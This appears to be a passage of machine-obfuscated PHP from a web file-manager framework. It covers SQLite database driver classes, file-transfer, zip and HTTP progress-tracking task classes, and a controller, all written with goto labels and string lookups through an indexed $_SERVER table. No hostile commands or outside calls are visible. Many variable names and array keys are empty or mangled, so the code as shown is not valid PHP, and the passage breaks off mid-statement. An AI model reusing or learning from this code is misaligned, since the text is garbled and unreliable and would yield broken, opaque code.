array_walk($, array($this, $ı[937])); $䬠 = $ı[1073] . $this->parseTable($) . $ı[934] . implode($ı[50], $) . $ı[1051]; $䬠 .= $this->buildSelectSql($أԿ); return $this->execute($䬠, $this->parseBind(!empty($أԿ[$ı[314]]) ? $أԿ[$ı[314]] : array())); } public function update($, $Ǎ) { $ =& $_SERVER[]; $this->model = $Ǎ[$[310]]; $׍ = $[1074] . $this->parseTable($Ǎ[$[308]]) . $this->parseSet($) . $this->parseWhere(!empty($Ǎ[$[304]]) ? $Ǎ[$[304]] : $[12]) . $this->parseOrder(!empty($Ǎ[$[394]]) ? $Ǎ[$[394]] : $[12]) . $this->parseLimit(!empty($Ǎ[$[321]]) ? $Ǎ[$[321]] : $[12]) . $this->parseLock(isset($Ǎ[$[869]]) ? $Ǎ[$[869]] : !1) . $this->parseComment(!empty($Ǎ[$[383]]) ? $Ǎ[$[383]] : $[12]); return $this->execute($׍, $this->parseBind(!empty($Ǎ[$[314]]) ? $Ǎ[$[314]] : array())); } public function delete($ة݃ = array()) { $ =& $_SERVER[]; $this->model = $ة݃[$[310]]; $ڠ = $[1075] . $this->parseTable($ة݃[$[308]]) . $this->parseWhere(!empty($ة݃[$[304]]) ? $ة݃[$[304]] : $[12]) . $this->parseOrder(!empty($ة݃[$[394]]) ? $ة݃[$[394]] : $[12]) . $this->parseLimit(!empty($ة݃[$[321]]) ? $ة݃[$[321]] : $[12]) . $this->parseLock(isset($ة݃[$[869]]) ? $ة݃[$[869]] : !1) . $this->parseComment(!empty($ة݃[$[383]]) ? $ة݃[$[383]] : $[12]); return $this->execute($ڠ, $this->parseBind(!empty($ة݃[$[314]]) ? $ة݃[$[314]] : array())); } public function select($ݗ = array()) { $ =& $_SERVER[]; $this->model = $ݗ[$[310]]; $ = $this->buildSelectSql($ݗ); $ = isset($ݗ[$[378]]) ? $ݗ[$[378]] : !1; if ($) { $ = is_string($[$[94]]) ? $[$[94]] : $[1076] . md5($); $Ì = think_cache($, $[12], $); if (!1 !== $Ì) { return $Ì; } } $Ž = $this->query($, $this->parseBind(!empty($ݗ[$[314]]) ? $ݗ[$[314]] : array())); if ($ && !1 !== $Ž) { think_cache($, $Ž, $); } return $Ž; } public function buildSelectSql($ = array()) { $ =& $_SERVER[]; if (isset($[$[382]])) { if (strpos($[$[382]], $[50])) { list($, $) = explode($[50], $[$[382]]); } else { $ = $[$[382]]; } $ = $ ? $ : 1; $ = isset($) ? $ : (is_numeric($[$[321]]) ? $[$[321]] : 20); $濊 = $ * ((int) $ - 1); $[$[321]] = $濊 . $[50] . $; } if (think_config($[1077])) { $ = $[1078] . md5(serialize($)); $ = think_cache($); if ($) { return $; } } $ = $this->parseSql($this->selectSql, $); $ .= $this->parseLock(isset($[$[869]]) ? $[$[869]] : !1); if (isset($)) { think_cache($, $); } return $; } public function parseSql($˚, $Զ = array()) { $ =& $_SERVER[]; $˚ = str_replace(array($[1079], $[1080], $[1081], $[1082], $[1083], $[1084], $[1085], $[1086], $[1087], $[1088], $[1089]), array($this->parseTable("{$Զ[$[308]]}"), $this->parseDistinct(isset($Զ[$[1090]]) ? $Զ[$[1090]] : !1), $this->parseField(!empty($Զ[$[302]]) ? $Զ[$[302]] : $[189]), $this->parseJoin(!empty($Զ[$[311]]) ? $Զ[$[311]] : $[12]), $this->parseWhere(!empty($Զ[$[304]]) ? $Զ[$[304]] : $[12]), $this->parseGroup(!empty($Զ[$[534]]) ? $Զ[$[534]] : $[12]), $this->parseHaving(!empty($Զ[$[1091]]) ? $Զ[$[1091]] : $[12]), $this->parseOrder(!empty($Զ[$[394]]) ? $Զ[$[394]] : $[12]), $this->parseLimit(!empty($Զ[$[321]]) ? $Զ[$[321]] : $[12]), $this->parseUnion(!empty($Զ[$[376]]) ? $Զ[$[376]] : $[12]), $this->parseComment(!empty($Զ[$[383]]) ? $Զ[$[383]] : $[12])), $˚); return $˚; } public function getLastSql($몴 = '') { return $몴 ? $this->modelSql[$몴] : $this->queryStr; } public function getLastInsID() { return $this->lastInsID; } public function getError() { return $this->error; } public function escapeString($) { return addslashes($); } public function setModel($ʉ) { $this->model = $ʉ; } public function getDbType() { return $this->dbType; } public function __destruct() { if ($this->queryID) { $this->free(); } $this->close(); } public function close() { } } goto eˆ帪; F: class TaskFileTransfer extends Task { protected function startAfter() { $װ =& $_SERVER[]; $ɭ =& $this->task; $this->sourceCopyFolder = !1; Hook::bind($װ[1706], array($this, $װ[1707])); Hook::bind($װ[1256], array($this, $װ[1708])); Hook::bind($װ[1709], array($this, $װ[1710])); Hook::bind($װ[625], array($this, $װ[1711])); Hook::bind($װ[626], array($this, $װ[1712])); Hook::bind($װ[631], array($this, $װ[1713])); Hook::bind($װ[632], array($this, $װ[1714])); Hook::bind($װ[628], array($this, $װ[1715])); Hook::bind($װ[629], array($this, $װ[1716])); Hook::bind($װ[594], array($this, $װ[1717])); Hook::bind($װ[591], array($this, $װ[1717])); Hook::bind($װ[596], array($this, $װ[1717])); Hook::bind($װ[598], array($this, $װ[1717])); Hook::bind($װ[600], array($this, $װ[1717])); Hook::bind($װ[1718], array($this, $װ[1719])); Hook::bind($װ[616], array($this, $װ[1720])); $this->sourceModelCopyFlag = !1; Hook::bind($װ[1721], array($this, $װ[1722])); Hook::bind($װ[1723], array($this, $װ[1724])); Hook::bind($װ[1725], array($this, $װ[1726])); $ɭ[$װ[1727]] = LNG($װ[1728]); $ɭ[$װ[1729]] = 0; $ɭ[$װ[1730]] = 0; $ɭ[$װ[1097]] = $װ[12]; $ɭ[$װ[1731]] = $װ[12]; $ɭ[$װ[1732]] = 0; $ɭ[$װ[1733]] = 0; $ɭ[$װ[1734]] = 0; if (!$ɭ[$װ[1574]]) { $ɭ[$װ[1574]] = LNG($װ[1735]); } } protected function endAfter() { $ =& $_SERVER[]; Hook::unbind($[1706], array($this, $[1707])); Hook::unbind($[1256], array($this, $[1708])); Hook::unbind($[1709], array($this, $[1710])); Hook::unbind($[625], array($this, $[1711])); Hook::unbind($[626], array($this, $[1712])); Hook::unbind($[631], array($this, $[1713])); Hook::unbind($[632], array($this, $[1714])); Hook::unbind($[628], array($this, $[1715])); Hook::unbind($[629], array($this, $[1716])); Hook::unbind($[594], array($this, $[1717])); Hook::unbind($[591], array($this, $[1717])); Hook::unbind($[596], array($this, $[1717])); Hook::unbind($[598], array($this, $[1717])); Hook::unbind($[600], array($this, $[1717])); Hook::unbind($[1718], array($this, $[1719])); Hook::unbind($[616], array($this, $[1720])); Hook::unbind($[1721], array($this, $[1722])); Hook::unbind($[1723], array($this, $[1724])); Hook::unbind($[1725], array($this, $[1726])); } public function copyMoveStart($Ȱ־, $, $鋈, $Ǜ) { $ =& $_SERVER[]; self::log($[1736] . $ . $[70] . $Ǜ); $ = rtrim(TEMP_FILES, $[8]); if (substr($, 0, strlen($)) == $) { return; } if (substr($Ǜ, 0, strlen($)) == $) { return; } $ =& $this->task; $[$[1737]] = KodIO::transferType($Ȱ־, $鋈); $this->update(); } public function updateAfter() { $ =& $_SERVER[]; $͚ =& $this->task; if (!$͚[$[789]]) { return; } if ($this->sourceModelCopyFlag) { return; } if ($͚[$[1737]] == $[1348]) { return; } self::updateTask($͚); } private static function updateTask(&$ٟז) { $ǽ =& $_SERVER[]; if ($ٟז[$ǽ[1737]] == $ǽ[1227] || $ٟז[$ǽ[1737]] == $ǽ[107]) { if ($ٟז[$ǽ[1731]]) { $ٟז[$ǽ[1734]] = $ٟז[$ǽ[1733]] + $ٟז[$ǽ[1730]]; } } else { if ($ٟז[$ǽ[1737]] == $ǽ[1349]) { if ($ٟז[$ǽ[1731]] == $ǽ[1227]) { $ٟז[$ǽ[1734]] = $ٟז[$ǽ[1733]] + $ٟז[$ǽ[1730]] * 0.5; } else { if ($ٟז[$ǽ[1731]] == $ǽ[107]) { $ٟז[$ǽ[1734]] = $ٟז[$ǽ[1733]] + $ٟז[$ǽ[1729]] * 0.5 + $ٟז[$ǽ[1730]] * 0.5; } } } } $ٟז[$ǽ[1678]] = $ٟז[$ǽ[1734]] / $ٟז[$ǽ[789]]; if ($ٟז[$ǽ[1678]] > 0) { $ = timeFloat() - $ٟז[$ǽ[1680]] - $ٟז[$ǽ[1683]]; $ٟז[$ǽ[1684]] = $ * (1 - $ٟז[$ǽ[1678]]) / $ٟז[$ǽ[1678]]; } } public function addPath($) { $ĵ =& $_SERVER[]; if (!$) { return; } $׶ =& $this->task; $ = IO::infoWithChildren($); $ = $׶[$ĵ[1738]] ? $׶[$ĵ[1738]][$ĵ[1739]] : 0; $׶[$ĵ[1738]] = array($ĵ[1739] => $ + 1, $ĵ[449] => $[$ĵ[32]], $ĵ[84] => $[$ĵ[84]], $ĵ[538] => $[$ĵ[538]] ? $[$ĵ[538]] : $[$ĵ[84]]); if ($[$ĵ[33]] == $ĵ[200]) { $׶[$ĵ[812]] += 1; } else { $׶[$ĵ[812]] += $[$ĵ[79]][$ĵ[77]]; if ($[$ĵ[431]]) { $׶[$ĵ[812]] += $[$ĵ[79]][$ĵ[78]] + 1; } } $׶[$ĵ[789]] += $[$ĵ[76]]; $this->update(); } public function sourceCopyFolderStart() { $this->sourceCopyFolder = !0; } public function sourceCopyFolderEnd() { $this->sourceCopyFolder = !1; } public function sourceAddHashStart($ᣳ) { } public function sourceAddHashEnd($ݖ) { } public function sourceAddFileStart($ʨ) { $܈ =& $_SERVER[]; $ =& $this->task; $[$܈[1729]] = $ʨ[$܈[76]]; $[$܈[1727]] = $ʨ[$܈[32]]; $[$܈[1097]] = $ʨ[$܈[32]]; $[$܈[1740]] = $ʨ[$܈[84]]; $this->update(); } public function sourceAddFileEnd($Ӳ) { $ =& $_SERVER[]; $ =& $this->task; $[$[1734]] += $Ӳ[$[76]]; $[$[1740]] = $Ӳ[$[84]]; $this->update(1); } public function copyFileStart($̃, $ï, $Œ, $, $ܧ, $) { $ɳ =& $_SERVER[]; $եĊ = $ܧ; if ($եĊ == $GLOBALS[$ɳ[1741]]) { $եĊ = $GLOBALS[$ɳ[1742]]; } $GLOBALS[$ɳ[1742]] = $ܧ; $GLOBALS[$ɳ[1741]] = $; $ =& $this->task; $[$ɳ[1727]] = $եĊ; $[$ɳ[1729]] = (int) $̃->size($ï); $[$ɳ[1730]] = 0; $[$ɳ[1097]] = $ɳ[12]; $[$ɳ[1731]] = $ɳ[12]; $[$ɳ[1732]] = 0; $ = $[$ɳ[1729]] > 1024 * 1024 * 10 ? !0 : !1; Cache::remove($[$ɳ[428]] . $ɳ[1743]); if ($ && file_exists(get_path_father($))) { Cache::set($[$ɳ[428]] . $ɳ[1743], $); $[$ɳ[1700]] = array($ɳ[1744], $ɳ[1745]); } $this->update(0, $); } public static function updateCopyLocalFileSize($) { $ =& $_SERVER[]; $ = Cache::get($[$[428]] . $[1743]); if (!$ || !file_exists($)) { return $; } $[$[1730]] = @filesize($); $[$[1734]] += $[$[1730]]; self::updateTask($); return $; } public function copyFileEnd($ȳ, $Ю, $Зş, $륬, $, $λ) { $ѣ =& $_SERVER[]; $ކ =& $this->task; $ކ[$ѣ[1730]] = $ކ[$ѣ[1729]]; $ކ[$ѣ[1731]] = $ѣ[12]; unset($ކ[$ѣ[1700]]); if ($ == $ކ[$ѣ[1727]]) { $ކ[$ѣ[1733]] += $ކ[$ѣ[1729]]; $ކ[$ѣ[1734]] = $ކ[$ѣ[1733]]; $ = 1; if (isset($ކ[$ѣ[1740]]) && $ކ[$ѣ[1740]] == $Ю) { $ = 0; } $this->update($); } else { $this->update(); $ކ[$ѣ[1730]] = 0; } Cache::remove($ކ[$ѣ[428]] . $ѣ[1743]); self::log($ѣ[1746] . $Ю . $ѣ[70] . $륬 . $ѣ[231] . $ . $ѣ[1747] . $ކ[$ѣ[1727]]); } public function updateFileEnd($, $) { $׬ =& $_SERVER[]; $ =& $this->task; $[$׬[1727]] = $; $[$׬[1729]] = $; $[$׬[1733]] += $; $[$׬[1734]] = $[$׬[1733]]; $this->update(1); self::log($׬[1748] . $); } public function sourceModelCopy($) { $ᚯ =& $_SERVER[]; $钯 = $[0]; $ = $[1]; $ =& $this->task; $this->sourceModelCopyFlag = !0; $‡ = 0; switch ($钯) { case $ᚯ[592]: $‡ = 1; break; case $ᚯ[595]: $[$ᚯ[1727]] = $[$ᚯ[32]]; break; case $ᚯ[597]: $‡ = intval($[$ᚯ[409]] * 0.4); break; case $ᚯ[599]: $‡ = intval($[$ᚯ[409]] * 0.2); break; case $ᚯ[601]: $‡ = intval($[$ᚯ[409]] * 0.4); break; } $this->update($‡); $this->sourceModelCopyFlag = !1; } public function sourceRemove($, $ذ) { $ۍ =& $_SERVER[]; $this->sourceModelCopyFlag = !0; $ = 1; if (isset($[$ۍ[79]])) { $ = $[$ۍ[79]][$ۍ[77]]; $ = $ + $[$ۍ[79]][$ۍ[78]] + 1; } $this->update($); $this->sourceModelCopyFlag = !1; } public function sourceMove($) { $this->sourceRemove($, !1); } public function curlProgress($̦, $, $ڊ, $, $) { $ǘ =& $_SERVER[]; $ =& $this->task; if ($ > 0) { $[$ǘ[1097]] = $ǘ[1749]; $[$ǘ[1731]] = $ǘ[107]; if ($[$ǘ[1729]]) { $[$ǘ[1730]] = $; } if ($[$ǘ[1732]]) { $[$ǘ[1730]] = $ + $[$ǘ[1732]]; } } else { if ($ڊ > 0) { if ($[$ǘ[1729]] == $) { $[$ǘ[1730]] = $ڊ; $[$ǘ[1097]] = $ǘ[1750]; $[$ǘ[1731]] = $ǘ[1227]; } } } $this->update(); } public function curlProgressStart($Ҁ) { } public function curlProgressEnd($Ӣ) { $걙 =& $_SERVER[]; $ =& $this->task; $ = curl_getinfo($Ӣ); $ = $[$걙[1751]]; if ($ == -1) { $ = $[$걙[1752]]; } if ($[$걙[1731]] == $걙[107] && $) { $[$걙[1732]] += $; } $this->update(); } } class TaskHttp extends Task { protected function startAfter() { $ƀ =& $_SERVER[]; $ =& $this->task; $[$ƀ[1753]] = 1; Hook::bind($ƀ[1721], array($this, $ƀ[1754])); Hook::bind($ƀ[1723], array($this, $ƀ[1755])); Hook::bind($ƀ[1725], array($this, $ƀ[1756])); } protected function endAfter() { $ =& $_SERVER[]; Hook::unbind($[1721], array($this, $[1754])); Hook::unbind($[1723], array($this, $[1755])); Hook::unbind($[1725], array($this, $[1756])); } public function progressStart($߁) { $琝 =& $_SERVER[]; $ = curl_getinfo($߁); self::log($琝[1757] . $[$琝[336]]); self::valueSet($this->task[$琝[428]], $this->task); } public function progressEnd($Ўʨ) { $Ļ =& $_SERVER[]; self::log($Ļ[1758] . $this->task[$Ļ[428]]); $this->end(); } public function progress($, $, $бŠ, $, $) { $쓃 =& $_SERVER[]; $ =& $this->task; if ($ > 0) { $[$쓃[812]] = $[$쓃[812]] == 0 ? $ : $[$쓃[812]]; $[$쓃[1677]] = $; } else { if ($бŠ > 0) { $[$쓃[812]] = $[$쓃[812]] == 0 ? $ : $[$쓃[812]]; $[$쓃[1677]] = $бŠ; } } $this->update(); self::log("\160\162\x6f\x67\x72\145\x73\163\x48\x74\164\x70\x3a\144\x6f\167\156\x3a{$бŠ}\57{$}\x3b\x20\x75\160\154\x6f\141\x64\x3a{$}\57{$}\x3b"); } } class TaskLog { private $task; private $taskID; private $isEnd = false; static function newTask($굤, $ = '', $ = 0, $ = '') { $ =& $_SERVER[]; $ = new Task($굤, $, $, $); $GLOBALS[$[1759] . $굤] = new TaskLog($[1660], $, $); return $; } public function __construct($͟Ӿ = '', $й = '', $Ź = '') { $ =& $_SERVER[]; if (!$͟Ӿ) { $͟Ӿ = $[1660]; } $ṵ = $͟Ӿ . $[415] . rand_string(10); if (!$Ź) { $Ź = $͟Ӿ . $[53] . $Ź; } switch ($͟Ӿ) { case $[1660]: if (!$й || !$й->task) { return echoLog($͟Ӿ . $[1760]); } $ = $й; $ṵ = $->task[$[428]]; $͟Ӿ = $->task[$[428]]; if (!$->task[$[1574]]) { $->task[$[1574]] = $Ź ? $Ź : $͟Ӿ; } break; case $[1761]: if (!$й) { return echoLog($͟Ӿ . $[1762]); } $칌ű = is_string($й) ? array($й) : $й; $ = new TaskFileTransfer($ṵ, $͟Ӿ, 0, $Ź ? $Ź : $칌ű[0]); foreach ($칌ű as $) { $->addPath($); } break; case $[342]: if (!$й) { return echoLog($͟Ӿ . $[1762]); } $칌ű = is_string($й) ? array($й) : $й; $ = new TaskZip($ṵ, $͟Ӿ, 0, $Ź ? $Ź : $칌ű[0]); foreach ($칌ű as $) { $->addPath($); } break; case $[1247]: if (!$й) { return echoLog($͟Ӿ . $[1762]); } $ = new TaskUnZip($ṵ, $͟Ӿ, 0, $Ź ? $Ź : $й); if ($й) { $->addFile($й); } break; case $[148]: $ = new TaskHttp($ṵ, $͟Ӿ); break; default: return; break; } $this->task = $; $this->taskID = $ṵ; Hook::bind($[1697], array($this, $[1763])); Hook::bind($[1699], array($this, $[1764])); Hook::bind($[1693], array($this, $[1765])); echoLog($[1766] . $->task[$[1574]]); } public function __destruct() { $this->end(); } public function end($޷ = '') { $ =& $_SERVER[]; if ($this->isEnd) { return; } if (!$this->task || !$this->taskID) { return; } $this->isEnd = !0; $this->task->end($޷); $this->task = !1; $this->taskID = !1; Hook::unbind($[1697], array($this, $[1763])); Hook::unbind($[1699], array($this, $[1764])); Hook::unbind($[1693], array($this, $[1765])); } public function taskUpdate($) { $Ƴ =& $_SERVER[]; if (!$ || $this->taskID != $[$Ƴ[428]]) { return; } $Ƀ = 20; $ = intval($[$Ƴ[1678]] * $Ƀ); $͉˄ = $Ƴ[162] . str_repeat($Ƴ[915], $) . $Ƴ[1047] . str_repeat($Ƴ[53], $Ƀ - $) . $Ƴ[164]; $ڵۇ = $͉˄ . sprintf($Ƴ[1767], $[$Ƴ[1678]] * 100) . $Ƴ[1768]; $ = $ڵۇ . $[$Ƴ[1677]] . $Ƴ[8] . $[$Ƴ[812]] . LNG($Ƴ[1769]); $ی = $Ƴ[12]; if ($[$Ƴ[1753]]) { $ = $ڵۇ . size_format($[$Ƴ[1677]]) . $Ƴ[8] . size_format($[$Ƴ[812]]); $ی = size_format($[$Ƴ[1679]]) . $Ƴ[1770]; } if ($[$Ƴ[1097]]) { $[$Ƴ[1727]] = $[$Ƴ[1097]] . $Ƴ[53] . $[$Ƴ[1727]]; } if ($[$Ƴ[1727]]) { $򪋚 = $Ƴ[12]; if ($[$Ƴ[1729]]) { $򪋚 = $Ƴ[50] . size_format($[$Ƴ[1730]]) . $Ƴ[8] . size_format($[$Ƴ[1729]]); } $ی .= $[$Ƴ[1727]] . $򪋚; } if ($[$Ƴ[789]] && !$[$Ƴ[1729]]) { $ی .= $Ƴ[53] . size_format($[$Ƴ[1734]]) . $Ƴ[8] . size_format($[$Ƴ[789]]); } echoLog($ . $Ƴ[53] . $ی, !0); } public function taskEnd($ի) { $К =& $_SERVER[]; if (!$ի || $this->taskID != $ի[$К[428]]) { return; } $ = $ի ? $ի[$К[1677]] . $К[8] . $ի[$К[812]] . LNG($К[1769]) . $К[71] : $К[12]; echoLog($К[1771] . $ի[$К[1574]] . ($ի[$К[482]] ? $К[71] . $ի[$К[482]] : $К[12]) . $К[71] . $ . $К[1772] . sprintf($К[876], timeFloat() - $ի[$К[1680]]) . $К[1692]); $this->end(); } public function taskKill($ʒ) { $Լ =& $_SERVER[]; if (!$ʒ || $this->taskID != $ʒ[$Լ[428]]) { return; } echoLog($Լ[1773] . $ʒ[$Լ[1574]]); } } goto d; eӶ: class Controller extends ClassBaseCall { public $in; public $config; public $tpl; public $values; function __construct() { $੩ =& $_SERVER[]; global $in, $config; $this->config =& $config; $this->in =& $in; $this->values[$੩[6]] =& $config; $this->values[$੩[7]] =& $in; $this->tpl = TEMPLATE . MOD . $੩[8]; $this->_classObjectID = mt_rand(0, 10000); } public function loadClass($ޱɘ) { if (1 === func_num_args()) { $this->{$ޱɘ} = new $ޱɘ(); } else { $ = new ReflectionClass($ޱɘ); $؁ = func_get_args(); array_shift($؁); $this->{$ޱɘ} = $->newInstanceArgs($؁); } return $this->{$ޱɘ}; } public function routeBind($ʋЃ, $, $ = 3) { $щ =& $_SERVER[]; $ = $this->in[$щ[9]]; $ʋЃ = str_replace($щ[10], $щ[11], trim(trim($ʋЃ, $щ[8]), $щ[12])); if (!$ʋЃ || count($) <= $) { return !1; } $ʐ = !0; $Ē = explode($щ[8], $ʋЃ); for ($̫󙂀 = 0; $̫󙂀 < count($Ē); $̫󙂀++) { if ($Ē[$̫󙂀] != $[$ + $̫󙂀]) { $ʐ = !1; break; } } if (!$ʐ) { return; } call_user_func_array(array($this, $), array()); } public function routeArgs($ = 3) { $ = $this->in[$_SERVER[][9]]; if (count($) <= $) { return array(); } $´ = array(); for ($ٌ = $; $ٌ < count($); $ٌ += 2) { $´[$[$ٌ]] = $[$ٌ + 1]; $this->in[$[$ٌ]] = $[$ٌ + 1]; } return $´; } protected function assign($ԉ, $) { $this->values[$ԉ] = $; } protected function display($) { ob_end_clean(); extract($this->values); require $this->tpl . $; } } class DbSqliteBase extends Db { public function __construct($ = '') { $NJъ =& $_SERVER[]; if (!extension_loaded($NJъ[13])) { think_exception(think_lang($NJъ[14]) . $NJъ[15]); } if (!empty($)) { if (!isset($[$NJъ[16]])) { $[$NJъ[16]] = 438; } $this->config = $; if (empty($this->config[$NJъ[17]])) { $this->config[$NJъ[17]] = array(); } } } public function connect($ = '', $Ȅ = 0) { $浠 =& $_SERVER[]; if (!isset($this->linkID[$Ȅ])) { if (empty($)) { $ = $this->config; } $ߜ = !empty($[$浠[17]][$浠[18]]) ? $[$浠[17]][$浠[18]] : $this->pconnect; $ø = $ߜ ? $浠[19] : $浠[20]; $this->linkID[$Ȅ] = $ø($[$浠[21]], $[$浠[16]]); if (!$this->linkID[$Ȅ]) { think_exception(sqlite_error_string()); } $this->connected = !0; @sqlite_busy_timeout($this->linkID[$Ȅ], 30000); if (1 != think_config($浠[22])) { unset($this->config); } } return $this->linkID[$Ȅ]; } public function free() { $this->queryID = null; } public function query($) { $ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = sqlite_query($this->_linkID, $); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = sqlite_num_rows($this->queryID); $ = $this->getAll(); return $; } } public function execute($̒) { $ӄ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $̒; if ($this->queryID) { $this->free(); } think_action_status($ӄ[25], 1); think_status($ӄ[24]); $Ρ = sqlite_exec($this->_linkID, $̒); $this->debug(); if (!1 === $Ρ) { $this->error(); return !1; } else { $this->numRows = sqlite_changes($this->_linkID); $this->lastInsID = sqlite_last_insert_rowid($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { sqlite_query($this->_linkID, $_SERVER[][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = sqlite_query($this->_linkID, $_SERVER[][27]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = sqlite_query($this->_linkID, $_SERVER[][28]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $Ў = array(); if ($this->numRows > 0) { for ($֝ = 0; $֝ < $this->numRows; $֝++) { $Ў[$֝] = sqlite_fetch_array($this->queryID, SQLITE_ASSOC); } sqlite_seek($this->queryID, 0); } return $Ў; } public function getFields($ϑڦ) { $Ջ =& $_SERVER[]; $ = $this->query($Ջ[29] . $ϑڦ . $Ջ[30]); $ = array(); if ($) { foreach ($ as $ɭ => $Ӗ) { $[$Ӗ[$Ջ[31]]] = array($Ջ[32] => $Ӗ[$Ջ[31]], $Ջ[33] => $Ӗ[$Ջ[34]], $Ջ[35] => (bool) ($Ӗ[$Ջ[36]] === $Ջ[12]), $Ջ[37] => $Ӗ[$Ջ[38]], $Ջ[39] => strtolower($Ӗ[$Ջ[40]]) == $Ջ[41], $Ջ[42] => strtolower($Ӗ[$Ջ[43]]) == $Ջ[44]); } } return $; } public function getTables($ = '') { $̝ =& $_SERVER[]; $ؚ = $this->query($̝[45] . $̝[46] . $̝[47]); $؈ = array(); foreach ($ؚ as $ => $) { $؈[$] = current($); } return $؈; } public function close() { if ($this->_linkID) { sqlite_close($this->_linkID); } $this->_linkID = null; } public function error() { $ͮ =& $_SERVER[]; $ڷ = sqlite_last_error($this->_linkID); $this->error = $ڷ . $ͮ[4] . sqlite_error_string($ڷ); if ($ͮ[12] != $this->queryStr) { $this->error .= LNG($ͮ[48]) . $this->queryStr; } think_trace($this->error, $ͮ[12], $ͮ[49]); return $this->error; } public function escapeString($Ϫ) { return sqlite_escape_string($Ϫ); } public function parseLimit($ӥ) { $ą =& $_SERVER[]; $ϴ = $ą[12]; if (!empty($ӥ)) { $ӥ = explode($ą[50], $ӥ); if (count($ӥ) > 1) { $ϴ .= $ą[51] . $ӥ[1] . $ą[52] . $ӥ[0] . $ą[53]; } else { $ϴ .= $ą[51] . $ӥ[0] . $ą[53]; } } return $ϴ; } } class DbSqlite3Base extends Db { public function __construct($ = '') { $ÝĿ =& $_SERVER[]; if (!class_exists($ÝĿ[54])) { think_exception(think_lang($ÝĿ[14]) . $ÝĿ[55]); } if (!empty($)) { if (!isset($[$ÝĿ[16]])) { $[$ÝĿ[16]] = 438; } $this->config = $; if (empty($this->config[$ÝĿ[17]])) { $this->config[$ÝĿ[17]] = array(); } } } public function connect($ۣ = '', $ʹ = 0) { $ =& $_SERVER[]; if (!isset($this->linkID[$ʹ])) { if (empty($ۣ)) { $ۣ = $this->config; } $this->linkID[$ʹ] = new SQLite3($ۣ[$[21]]); if (!$this->linkID[$ʹ]) { think_exception($this->linkID[$ʹ]->lastErrorMsg()); } $this->connected = !0; @$this->linkID[$ʹ]->busyTimeout(30000); if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$ʹ]; } public function free() { $this->queryID = null; } public function query($՛У) { $˂ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $՛У; if ($this->queryID) { $this->free(); } think_action_status($˂[23], 1); think_status($˂[24]); $this->queryID = $this->_linkID->query($՛У); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $ۻ = $this->getAll(); $this->numRows = count($ۻ); return $ۻ; } } public function execute($) { $얏 =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($얏[25], 1); think_status($얏[24]); $ = $this->_linkID->exec($); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->changes(); $this->lastInsID = $this->_linkID->lastInsertRowID(); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->query($_SERVER[][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $妵 = $this->_linkID->query($_SERVER[][27]); if (!$妵) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->query($_SERVER[][28]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $ = array(); while ($ = $this->queryID->fetchArray(SQLITE3_ASSOC)) { $[] = $; } $this->queryID->reset(); return $; } public function getFields($) { $냬 =& $_SERVER[]; $Ѩ = $this->query($냬[29] . $ . $냬[30]); $ = array(); if ($Ѩ) { foreach ($Ѩ as $瘺 => $) { $[$[$냬[32]]] = array($냬[32] => $[$냬[32]], $냬[33] => $[$냬[33]], $냬[35] => (bool) ($[$냬[35]] === $냬[12]), $냬[37] => $[$냬[56]], $냬[39] => (bool) $[$냬[57]], $냬[42] => (bool) $[$냬[57]]); } } return $; } public function getTables($Dž = '') { $Հ =& $_SERVER[]; $ń = $this->query($Հ[45] . $Հ[46] . $Հ[47]); $ڡ = array(); foreach ($ń as $֩ => $) { $ڡ[$֩] = current($); } return $ڡ; } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $ꩼ =& $_SERVER[]; $this->error = $this->_linkID->lastErrorMsg(); if ($ꩼ[12] != $this->queryStr) { $this->error .= LNG($ꩼ[48]) . $this->queryStr; } think_trace($this->error, $ꩼ[12], $ꩼ[49]); return $this->error; } public function escapeString($) { $ =& $_SERVER[]; if ($this->_linkID) { return $this->_linkID->escapeString($); } return str_ireplace($[58], $[59], $); } public function parseLimit($) { $ŕ =& $_SERVER[]; $晱 = $ŕ[12]; if (!empty($)) { $ = explode($ŕ[50], $); if (count($) > 1) { $晱 .= $ŕ[51] . $[1] . $ŕ[52] . $[0] . $ŕ[53]; } else { $晱 .= $ŕ[51] . $[0] . $ŕ[53]; } } return $晱; } } goto DĐ; dؠ: class TaskZip extends TaskFileTransfer { protected function startAfter() { $Ҁ =& $_SERVER[]; parent::startAfter(); Hook::bind($Ҁ[1793], array($this, $Ҁ[1788])); $㑛 =& $this->task; $㑛[$Ҁ[1790]] = $Ҁ[1227]; if (!$㑛[$Ҁ[1574]]) { $㑛[$Ҁ[1574]] = LNG($Ҁ[1794]); } } protected function endAfter() { $Ч䱍 =& $_SERVER[]; parent::endAfter(); Hook::unbind($Ч䱍[1793], array($this, $Ч䱍[1788])); } public function updateAfter() { $Ń =& $_SERVER[]; $ë =& $this->task; if (!$ë[$Ń[812]] || !$ë[$Ń[789]]) { return; } if ($ë[$Ń[1790]] == $Ń[1227]) { $ = $ë[$Ń[1730]]; if ($ë[$Ń[1731]] != $Ń[1227]) { $ = 0; } $ = ($ë[$Ń[1734]] + $) / 